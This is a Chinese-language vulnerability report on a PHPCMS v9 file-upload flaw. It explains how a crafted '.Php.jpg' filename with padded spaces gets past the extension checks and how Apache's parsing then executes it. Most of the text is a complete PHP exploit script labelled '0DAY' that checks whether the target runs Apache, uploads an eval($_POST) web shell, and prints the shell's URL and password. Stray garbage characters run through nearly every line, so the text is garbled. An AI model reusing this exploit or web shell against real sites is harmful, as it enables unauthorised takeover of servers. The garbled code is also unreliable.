漏洞类型: 文件上传导致任意代码执行* m, k" ?+ c6 e2 q2 Q5 A3 a
% j& t8 {( F/ ~; V+ q, @& G' s简要描述:# r. ?% y: J0 B6 i
+ `6 N. Z+ q9 B' C* K
phpcms v9 getshell (apache)
& t2 z, f1 O E4 ~' n8 ?详细说明:
0 a, Y9 ~' n, k9 A% Q' u# Z9 Q* p5 U. }8 N/ e
漏洞文件:phpcms\modules\attachment\attachments.php
+ d3 V8 W$ R9 i8 J% l: C
, {3 O$ z& ^- Dpublic function crop_upload() { (isset($GLOBALS["HTTP_RAW_POST_DATA"])) { $pic = $GLOBALS["HTTP_RAW_POST_DATA"]; if (isset($_GET['width']) && !empty($_GET['width'])) { $width = intval($_GET['width']); } if (isset($_GET['height']) && !empty($_GET['height'])) { $height = intval($_GET['height']); } if (isset($_GET['file']) && !empty($_GET['file'])) { $_GET['file'] = str_replace(';','',$_GET['file']);//过滤了分号 if(is_image($_GET['file'])== false || strpos($_GET['file'],'.php')!==false) exit();//is_image()检测是个关键 if (strpos($_GET['file'], pc_base::load_config('system', 'upload_url'))!==false) { $file = $_GET['file']; $basenamebasename = basename($file);//获取带有后缀的文件名 if (strpos($basename, 'thumb_')!==false) { $file_arr = explode('_', $basename); $basename = array_pop($file_arr); } $new_file = 'thumb_'.$width.'_'.$height.'_'.$basename; } else { pc_base::load_sys_class('attachment','',0); $module = trim($_GET['module']); $catid = intval($_GET['catid']); $siteid = $this->get_siteid(); $attachment = new attachment($module, $catid, $siteid); $uploadedfile['filename'] = basename($_GET['file']); $uploadedfile['fileext'] = fileext($_GET['file']); if (in_array($uploadedfile['fileext'], array('jpg', 'gif', 'jpeg', 'png', 'bmp'))) { $uploadedfile['isimage'] = 1; } $file_path = $this->upload_path.date('Y/md/'); pc_base::load_sys_func('dir'); dir_create($file_path); $new_file = date('Ymdhis').rand(100, 999).'.'.$uploadedfile['fileext']; $uploadedfile['filepath'] = date('Y/md/').$new_file; $aid = $attachment->add($uploadedfile); } $filepath = date('Y/md/'); file_put_contents($this->upload_path.$filepath.$new_file, $pic);//文件名可控、$pic可控 } else { return false; } echo pc_base::load_config('system', 'upload_url').$filepath.$new_file; exit; } }
( `3 O T1 ]& P- S" ^$ w' S后缀检测:phpcms\modules\attachment\functions\global.func.php
6 a$ ?# N7 W5 W: Y9 D3 T. w" @! u( I+ V9 K8 n, U7 M# Y
2 P$ p3 x9 ]6 z1 q) V
7 r J8 L' a7 O" H1 rfunction is_image($file) { $ext_arr = array('jpg','gif','png','bmp','jpeg','tiff'); $ext = fileext($file);关键地方 return in_array($ext,$ext_arr) ? $ext_arr :false; }
; H& ]2 l# u1 W, }* p$ Z E/ O* y4 X' h! D9 S; I+ I ~6 }
关键函数:
+ T8 ~: u1 W- E0 r
) M. r/ N6 M0 \# W# N : u9 ?% C; V% O% ]
8 a+ ]" F( ]4 _function fileext($filename) { return strtolower(trim(substr(strrchr($filename, '.'), 1, 10))); } ' ]' v1 o7 U5 M+ d
& H( S' Z* H9 o! ^2 z! k Fileext函数是对文件后缀名的提取。
, V, \/ g0 n# n& a根据此函数我们如果上传文件名为ddd.Php.jpg%20%20%20%20%20%20%20Php
' |$ l0 N( l. G! Z9 {8 n5 w3 p经过此函数提取到的后缀还是jpg,因此正在is_image()函数中后缀检测被绕过了。
0 L! L3 l/ C: [' S+ C我们回到public function crop_upload() 函数中
8 R7 @9 h7 H! k! [2 I: Oif(is_image($_GET['file'])== false || strpos($_GET['file'],'.php')!==false) exit();* m* E: G n: C3 j' ~9 C
在经过了is_image的判断之后又来了个.php的判断,在此程序员使用的是strpos函数
3 t. x9 v4 w! z; f2 [- x这个函数是对大小写敏感的函数我们使用.Php就可以直接绕过了。
" I* H$ E: l4 r- S4 O, d/ A经过上边的两层的过滤我们的ddd.Php.jpg%20%20%20%20%20%20%20Php后缀依然有效。7 M! M4 ]5 l4 d7 G+ A- y$ a* O
最后$basename变量的值就为ddd.Php.jpg%20%20%20%20%20%20%20Php 然后使用file_put_contents函数写入到了指定目录。
- ~+ E/ _6 g E5 q" b: g* \看见ddd.Php.jpg%20%20%20%20%20%20%20Php这个后缀,大家应该明白了,它用在apache搭建的服务器上可以被解析。 e7 p, S. k! X% o3 {# U- w
漏洞证明:
% ~; ^+ q4 @4 E, p3 R" n8 s
1 O7 L4 Q. ~" s, p6 o% A$ Aexp:
0 j4 t7 Y; n% w" a* T& I4 ]5 \. q! p
<?php6 f7 ]9 ^7 E. k; A) A+ w& J
error_reporting(E_ERROR);
+ W1 O' ?+ @4 [6 t. _/ V0 Nset_time_limit(0);
' y* O* T, `% k" y9 N% k4 B- g a$pass="ln";7 w4 }, s# P% Y5 N
print_r('; G9 f2 W6 G7 c. G
+---------------------------------------------------------------------------+
7 I- m) H6 C! R. [, Z: i( wPHPCms V9 GETSHELL 0DAY
! A* j9 G; G7 o# _5 S, n8 ]code by L.N.
$ \6 Z+ Z/ [" ^8 j3 F: ]2 X
y6 B W* _2 ~, F- {* Napache 适用(利用的apache的解析漏洞) // 云安全 www.yunsec.net: ~4 R! U, @4 I% Y
+---------------------------------------------------------------------------+
7 k* u! i# \: S% Z+ ]3 j P1 H2 Y% q/ Y');2 `& h2 a! K' V' K- Y
if ($argc < 2) {
& G+ R8 S2 y' X% B' ~. `print_r('2 T0 s, r, P' \6 E$ R. ?& m* d
+---------------------------------------------------------------------------+9 @1 l. Z8 O: h8 S! r
Usage: php '.$argv[0].' url path
$ i4 q4 h4 ~: o9 {2 A
" r- l4 {1 z- k& o, s) ^Example:0 {2 s, I& `8 D1 g2 ^+ A' S. V
1.php '.$argv[0].' lanu.sinaapp.com
_5 c* S/ F1 w ]2.php '.$argv[0].' lanu.sinaapp.com /phpcms
0 H7 x5 [ |. s6 t+---------------------------------------------------------------------------+" g) J2 [ m6 \
');
" ^- Z; k* U' lexit;
1 Y! L! y$ u: p: S3 i9 C0 Z" T% u}) j# U, a6 k* W7 N# B0 l& f3 ?
R: w: M5 F0 e* t
$url = $argv[1];8 K5 R% {) ^% F6 c. r$ k9 n# [1 h2 y1 y
$path = $argv[2];* o, M4 j( a5 o5 X1 X/ x- {9 V
$phpshell = '<?php @eval($_POST[\''.$pass.'\']);?>';( F+ m' O! o h3 b) X `* e
$file = '1.thumb_.Php.JPG%20%20%20%20%20%20%20Php';
3 j) }1 a L" _! v7 `1 ?/ ?$ W$ p& E. bif($ret=Create_dir($url,$path))
- ^- g- y% Q( v3 _& x{! y) Q. {' Q* g. S
//echo $ret;
. _; c% x5 V: I+ c5 R$pattern = "|Server:[^,]+?|U";
" B, L6 `! l- `- m$ v! f- a$ e1 Wpreg_match_all($pattern, $ret, $matches);
P( f) ?6 J8 \; ^if($matches[0][0]): B) V. b% k* S8 l" Z, P
{
/ p4 N2 u0 j( W0 u; sif(strpos($matches[0][0],'Apache') == false)" G- [1 Z( Z4 Q' O: h. k A; o
{/ l8 ^ P% V+ }9 Y4 p
echo "\n亲!此网站不是apache的网站。\n";exit;# n) \: O- B0 e
}3 f O) b- l0 c
}# ?) E r5 F w' g. \7 |
$ret = GetShell($url,$phpshell,$path,$file);
( |) V: ?" h$ U( I" h% _" G' |6 S$pattern = "|http:\/\/[^,]+?\.,?|U";
1 i, C3 B; R3 G5 A3 ~% I4 k8 dpreg_match_all($pattern, $ret, $matches);# b2 u" a& T, ?6 C1 @
if($matches[0][0])
0 g9 b* q9 }2 Z9 V) {4 z7 d, w5 h* @{
, J9 A! L1 j$ \6 p' l6 Q7 I- v$ xecho "\n".'密码为: '.$pass."\n";
0 k9 G9 V0 Z$ C' Yecho "\r\nurl地址: ".$matches[0][0].'JPG%20%20%20%20%20%20%20Php'."\n";exit;* B J8 Y$ o c; d- `6 Z
}* V. D5 b7 Y: A* v3 r; t# j
else2 H& {, H4 y1 }* E% ]. Y& B
{
2 m3 B0 w( U( h$ _' K% L$pattern = "|\/uploadfile\/[^,]+?\.,?|U";6 i1 @3 q4 _6 E: |2 \2 Z
preg_match_all($pattern, $ret, $matches);
9 t) ~# n( G- ^6 w1 P4 N3 [if($matches[0][0])
' Z4 l& j* K1 j, n2 u4 E{
: {* S% V( l8 pecho "\n".'密码为: '.$pass."\n";
6 r. v- H( C0 d! z% o! eecho "\r\nurl地址:".'http://'.$url.$path.$matches[0][0].'JPG%20%20%20%20%20%20%20Php'."\n";exit;* t0 O& g3 k' H# R$ y0 f
}
) P: W# L" k- C2 @- e* {% @2 melse) u) _( A, R6 w& b9 O
{8 L' P4 b7 v9 W: T8 _$ P' d
echo "\r\n没得到!\n";exit;% p! K m; z6 G/ Y9 P; n
}8 ^" [" c' q' J) `
}
; z# ~7 _; X" L- O4 D. x S}6 D. V. L! i. [9 k3 T8 P, m
3 n1 |1 w4 C" h; k# W/ L. p9 Q6 R
function GetShell($url,$shell,$path,$js)
. D r& z5 D$ D" V" Y+ @; U( }{
) j# x) A7 \; X$content =$shell;
. a% f6 ^9 S: h( n5 U$data = "POST ".$path."/index.php?m=attachment&c=attachments&a=crop_upload&width=6&height=6&file=http://".$url.$path."/uploadfile/".$js." HTTP/1.1\r\n";: Q+ o/ Z' `# f* ~& g- G
$data .= "Host: ".$url."\r\n";
9 Y; K9 |# z9 P% j+ Y$ f8 a$data .= "User-Agent: Mozilla/5.0 (Windows NT 5.2; rv:5.0.1) Gecko/20100101 Firefox/5.0.1\r\n";
# A$ u/ d. w. b$ d# L/ X; K4 e- N$data .= "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8\r\n";( D3 o/ Q7 _& n
$data .= "Accept-Language: zh-cn,zh;q=0.8,en-us;q=0.5,en;q=0.3\r\n";
2 L. J5 d. f6 U0 p/ N8 Y$data .= "Connection: close\r\n";/ `5 o6 r& P4 S5 y, S
$data .= "Content-Length: ".strlen($content)."\r\n\r\n";
( r5 r. F& y" d( ^. P7 c# i6 s% U3 s. T$data .= $content."\r\n";
9 a* N+ W+ E2 D/ N$ock=fsockopen($url,80);
9 z/ F# }1 U h: O$ p' x0 \if (!$ock)2 Y# {& V0 H: c3 Y9 U$ s) |. r$ Y
{) |3 y) ~' S4 Q( f9 h7 ?# f" x
echo "\n"."此网站没有回应,检测url是否输入正确"."\n";exit;
/ s4 F! m* o p2 E J}
% B1 l' u# f$ K5 z3 E, {1 x6 f5 welse
# f! w3 r/ x& z) O& ^1 C{" g3 v9 L2 P, q2 Q$ w) @
fwrite($ock,$data);: i# s: H1 w0 o. V+ j
$resp = '';1 @- q' V( ] k) Y
while (!feof($ock))
5 k0 d5 u. \; `2 {$ ]{$ B' n. D+ a8 G) ^
$resp.=fread($ock, 1024); r+ N7 ~; }5 @6 H8 t
}
- U% M6 {0 i7 n" ]9 h+ B' Treturn $resp;
5 G, l+ Z9 b% B" n% H* Z}
' f! j/ W9 P' W- s}
. g2 s, U3 G7 f+ @" H& ]# ^" A/ @* J
function Create_dir($url,$path='')3 S2 ^- U: x1 @* {; n2 H
{
6 W, L( i! k) R3 A/ ?$content ='I love you';- D+ O! B. v( V4 b
$data = "POST ".$path."/index.php?m=attachment&c=attachments&a=crop_upload&width=6&height=6&file=http://lanu.sinaapp.com/1.jpg HTTP/1.1\r\n";2 q& k- g% W2 p. T2 i$ R. k) F
$data .= "Host: ".$url."\r\n";( a& V) C9 w. M- x
$data .= "User-Agent: Mozilla/5.0 (Windows NT 5.2; rv:5.0.1) Gecko/20100101 Firefox/5.0.1\r\n";0 }6 _2 Q4 X7 c& `
$data .= "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8\r\n";
6 f; o p" m& o Z* C% V$data .= "Accept-Language: zh-cn,zh;q=0.8,en-us;q=0.5,en;q=0.3\r\n";& P1 l9 N5 i& ~
$data .= "Connection: close\r\n";
/ ^. v2 M% ] q$data .= "Content-Length: ".strlen($content)."\r\n\r\n";
3 K8 z9 Z6 [8 U) P+ C6 i* V$data .= $content."\r\n";
% l4 _* F, Z# l$ock=fsockopen($url,80);
A {4 `" n& W1 P/ c9 k0 Gif (!$ock)+ G, T5 F- ^* J) h: H# T
{
/ y0 z5 I3 j1 p" y1 U/ H) yecho "\n"."此网站没有回应,检测url是否输入正确"."\n";exit;
, j( c( [ r, M9 B}
& R4 d5 a* i; m5 I" J- S8 G# f8 efwrite($ock,$data);
& W. a, a9 p. _9 r$resp = '';* C8 M6 }) T0 c! U9 Q/ Y9 P
while (!feof($ock))
& @9 E4 b7 m) x! V# O7 }- c{
1 c3 o5 z% y) N# Y5 t$resp.=fread($ock, 1024);
/ ?; _9 C; \& Q6 J}+ `( j* r1 T3 F& E }( n8 c
return $resp;# g( ]+ ^9 X! T, H9 P7 P# A/ _* w
}
) y9 B" l$ v5 z" h?>
+ ]" T9 \: |/ A+ ^' n
; {. a% z5 T# ]& n% w& A- J修复方案:
: ]; r% W- m# |- T1 v3 Y, K8 t- n5 U4 S' e
过滤过滤再过滤) W2 f$ W) e9 b! v$ l
( P; D2 \* `( k( S( Z o3 p |